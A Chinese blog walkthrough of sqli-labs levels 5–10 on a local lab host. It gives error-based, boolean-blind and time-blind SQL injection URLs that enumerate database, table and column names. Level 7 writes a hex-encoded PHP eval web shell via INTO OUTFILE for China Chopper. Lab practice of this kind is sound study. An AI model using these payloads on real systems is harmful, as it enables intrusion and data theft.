sqli-labs靶场通关(Less5-10)

已于 2023-01-13 02:39:35 修改
阅读量236 收藏 3
点赞数 1
分类专栏： sqli-labs靶场通关 文章标签： 数据库 sql mysql
于 2023-01-13 02:34:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43381463/article/details/128668737
版权

Less-5

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1

# You are in...........
# 不显示结果

  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1'

# You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
# 可以确定为是字符型注入，通过单引号闭合

  • 使用报错注入

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

# XPATH syntax error: '~security~'

  • 爆库、爆表、爆字段

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50),0x7e),1)--+

http://192.168.12.129:81/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,50),0x7e),1)--+

Less-6

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-6/?id=1

# You are in...........
# 不显示结果

  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-5/?id=1'

# You are in...........


http://192.168.12.129:81/sqli-labs/Less-6/?id=1"

# You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
# 可以确定为是字符型注入，通过双引号闭合

  • 使用报错注入

    http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
# 或
http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+

# XPATH syntax error: '~security~'

  • 爆库、爆表、爆字段

    http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50),0x7e),1)--+

http://192.168.12.129:81/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,50),0x7e),1)--+

Less-7

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-7/?id=1

# You are in.... Use outfile......
# 不显示结果，提示使用outfile

  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-7/?id=1'

# You have an error in your SQL syntax


http://192.168.12.129:81/sqli-labs/Less-7/?id=1' --+

# You have an error in your SQL syntax


http://192.168.12.129:81/sqli-labs/Less-7/?id=1') --+

# You have an error in your SQL syntax


http://192.168.12.129:81/sqli-labs/Less-7/?id=1')) --+

# You are in.... Use outfile......

# 可以确定为是字符型注入，通过'))闭合

  • 使用outfile，编写木马

    http://192.168.12.129:81/sqli-labs/Less-7/?id=1')) union select 1,2,'0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e' into outfile "/opt/lampp/htdocs/whm.php"--+

# You have an error in your SQL syntax

  • 使用中国菜刀

    • 添加url

      image-20230113020008855

    • 成功

Less-8

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1

# You are in...........

  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1'

# 没有显示


http://192.168.12.129:81/sqli-labs/Less-8/?id=1"

# You are in...........

http://192.168.12.129:81/sqli-labs/Less-8/?id=1' --+

# You are in...........

# 可以确定为是字符型注入，通过'闭合

  • 尝试时间型盲注

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1' and if(length(database())=8,sleep(3),1)--+

# 页面加载大概3秒左右显示

# 可以判断数据库名字长度为8

  • 使用布尔型盲注爆破出数据库名

    http://192.168.12.129:81/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s' --+

# 可使用脚本实现，爆破出数据库名
# 爆破出可以得到数据库名为: security

Less-9

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-9/?id=1

# You are in...........

  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-9/?id=1'
http://192.168.12.129:81/sqli-labs/Less-9/?id=1"
http://192.168.12.129:81/sqli-labs/Less-9/?id=1')
http://192.168.12.129:81/sqli-labs/Less-9/?id=1")
http://192.168.12.129:81/sqli-labs/Less-9/?id=1 and 1=2
http://192.168.12.129:81/sqli-labs/Less-9/?id=-1

# You are in...........

# 难搞

http://192.168.12.129:81/sqli-labs/Less-9/?id=1 and sleep(3)

# 依旧
# You are in...........

http://192.168.12.129:81/sqli-labs/Less-9/?id=1' and sleep(3)--+

# 页面加载大概3秒左右显示
# 建议使用脚本爆破，确定'闭合

  • 时间型盲注

    http://192.168.12.129:81/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(3),1)--+

# 页面加载大概3秒左右显示

# 可以判断数据库名字长度为8

http://192.168.12.129:81/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+

# 可使用脚本实现，爆破出数据库名
# 爆破出可以得到数据库名为: security

Less-10

  • 键入正确的url

    http://192.168.12.129:81/sqli-labs/Less-10/?id=1

# You are in...........

  • 尝试注入类型

    http://192.168.12.129:81/sqli-labs/Less-10/?id=1" and sleep(3)--+

# 页面加载大概3秒左右显示
# 害，不多说，和Less-9一样，建议使用脚本爆破，确定"闭合

  • 尝试时间型盲注

    http://192.168.12.129:81/sqli-labs/Less-10/?id=1" and if(length(database())=8,sleep(3),1)--+

# 页面加载大概3秒左右显示

# 可以判断数据库名字长度为8


http://192.168.12.129:81/sqli-labs/Less-10/?id=1" and if(substr(database(),1,1)='s',sleep(3),1)--+

# 可使用脚本实现，爆破出数据库名
# 爆破出可以得到数据库名为: security
贫僧法号云空丶
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
Sqli-labs靶场详细攻略Less 1-5
qq_41755084的博客
10-09 1469
Sqli-labs靶场详细攻略
Sqli-labs--less-5
沐目的博客
04-08 4424
sqli-labs-master/Less-5/ 字符型，报错注入 首先 ？id=1’ 报错。让后用双引号，回显正常。再使用单引号+%23，回显正常，基本可以确定是单引号字符型。但是发现使用平常的 union select ，没有任何反应。 所以这道题需要一个新的知识点，刚学sql注入的同学，可能会有一点崩溃。有两种方法，叫做报错注入，其实有三种，但是我只会两种。 一、 报错注入了解一下：（报错...
基于Sqli-Labs靶场的SQL注入-第五关（重点讲双查询注入）
Joker
11-19 3850
双查询是指两个查询语句的嵌套，也就是一个select语句中在去套一个select语句，然后利用group by 语句和floor函数的结合去报错，再将我们需要的信息显示到报错信息中。
pikachu靶场通关-SQL-Inject
qq_43381463的博客
01-30 157
pikachu靶场通关-SQL-Inject
sqli-labs靶场实现（四）【GET型的报错的注入（floor()、rand()、group by、count()）】（less-5~6、具体步骤+图文详解）
weixin_46709219的博客
12-17 404
一）GET报错注入   1）报错注入介绍   2）GET单引号报错注入   3）GET双引号报错注入   4）sqlmap安全测试 二）补充知识 ———————————————————————————————————————————————————————— 一）GET报错注入 1）报错注入介绍 通过报错来显示出具体的信息，报错需要count(*)，rand()、group by，三者缺一不可。其中，对于报错注入几个常用函数进行讲解： rand()————随机函数，返回0~1之间的某个值,它看起
详细sqli-labs（1-65）通关讲解
热门推荐
dreamthe的博客
05-17 12万+
​ 如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。​SQL注入非常详细总结_糊涂是福yyyy的博客-CSDN博客_sql注入数据包 ​...
sqli-labs靶场通关(1-10)
Fly_Mojito的博客
06-11 3341
sqli-labs靶场通关(1-10)
Sqli-labs靶场详细攻略Less 29-33
qq_41755084的博客
10-27 1519
这一关在web应用前有一个waf，在关卡列表界面直接点开是没有的，要在地址栏输入才是有waf保护的界面其实这里并不是真正的硬件waf，只是有两个函数模拟了waf的功能和收到参数的反应。sqlilabs靶场也提供了能够部署真正硬件waf的代码，不过随着时代的发展，waf也在变化，专门配置这样一个waf也没太有必要，直接使用这个模拟题目的就好了。这一关在正常配置waf的情况下，的结构图如下所示客户端在访问服务器端时，需要先经过一个tomcat服务器，这个tomcat服务器中部署的过滤代码充当了waf。
SQL注入从入门到进阶：sqli-labs靶场通关笔记
tzyyyyyy的博客
09-26 5077
SQL注入从入门到进阶：sqli-labs全关通关笔记 Less-1~Less64
sqli-labs靶场通关秘籍分享（1-10关）
weixin_45585955的博客
04-16 2529
一、 1、SQL注入原理：sql语句未经查询直接带入数据库查新，sql注入攻击其实就是服务端的攻击，它与操作系统、服务器类型、脚本语言无关 2、sql注入类型：分为数字型、字符型、搜索型、xx型 3、注入提交方式：get提交、post提交、cookie提交。 4、注入攻击提交支持的类型 union注入、information_schema、宽字节注入、报错注入、盲注，这里的盲注分为三种，分别是 布尔型盲注、时间型盲注、报错型盲注。 updatexml注入分为 insert注入、update注入
sqli-labs靶场练习笔记
11-09
sqli-labs靶场练习笔记，里面有2关 3关 4关 5关 4关 7关 8关 9关 11关 12关 13关 14关 15关 16关 17关 18关 19关 20关 21关 22关 23关 24关 的练习内容，可以供给初学sql注入的学者参考
sqli-labs靶场
02-12
sqli-labs靶场
phpstudy+靶场sqli-labs-master下载
11-08
phpstudy+靶场sqli-labs-master下载
sqli-labs-master.zip
03-17
SQL-labs靶场，练习sql注入，适合新手练习漏洞基础，web安全，渗透，漏洞基础，典型漏洞，漏洞原理刨析，搭建在自己虚拟键，带源码，多分析 ，仅供学习
基于Springboot的旅游管理系统（有报告）。Javaee项目，springboot项目。
XING的博客
05-03 1310
基于Springboot的旅游管理系统（有报告）。Javaee项目，springboot项目。数据库作为系统数据储存平台，实现了基于B/S结构的Web系统。界面简洁，操作简单。采用M（model）V（view）C（controller）三层体系结构，通过。
简述redis数据类型及应用场景
最新发布
qq_45927587的博客
05-10 224
每种数据类型的选择应当基于具体的应用需求，比如是否需要排序、是否允许重复元素、是否需要执行集合运算等。Redis作为一种高性能的内存数据存储系统，提供了多种数据结构来满足不同场景下的需求。: 双向链表，可以做栈（LPOP/RPOP）、队列（LPUSH/RPOP）或实现发布/订阅模式。: 最基本的数据类型，可以存储字符串、整数或者浮点数等数据。支持原子性操作，如增、删、改、查。: 无序且不重复的字符串集合，支持集合运算如并集、交集、差集。: 用于存储键值对的集合，每个哈希可以存储多个字段-值对。
Linux——综合实验
Xinan_____的博客
05-07 802
> MASTER_HOST='wangA.wld.com', //主节。赋予root用户replication slave 权限。编辑一个数据库连接脚本，测试数据库是否能正常连接。创建共享目录/share_nfs。编辑nfs配置文件 设置允许ip。2.7.1.存在53端口占用。编辑自动挂载父目录配置文件。编辑自动挂载父目录配置文件。编辑自动挂载子目录配置文件。创建一个用户用来做主从同步。从节点同步主节点二进制文件。创建一个只做nfs的用户。解决办法：停止其他端口。为我们的应用创建一个库。
【Redis】RDB持久化和AOF 持久化
wmh的博客
05-06 655
RDB (Redis Database Backup file)：数据快照默认保存在运行目录# 主进程保存快照（阻塞） save # 子进程保存快照 bgsaveRedis 停机时会执行一次RDB。AOF (Append Only File)：命令日志。
sqli-labs靶场通关
08-25
对于sqli-labs靶场的通关，你需要具备一定的SQL注入的知识和技巧。以下是一些通关的步骤和提示： 1. 确保你已经安装了LAMP/WAMP/MAMP服务器环境，并将sqli-labs源码解压到Web服务器的根目录下。 2. 打开浏览器，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值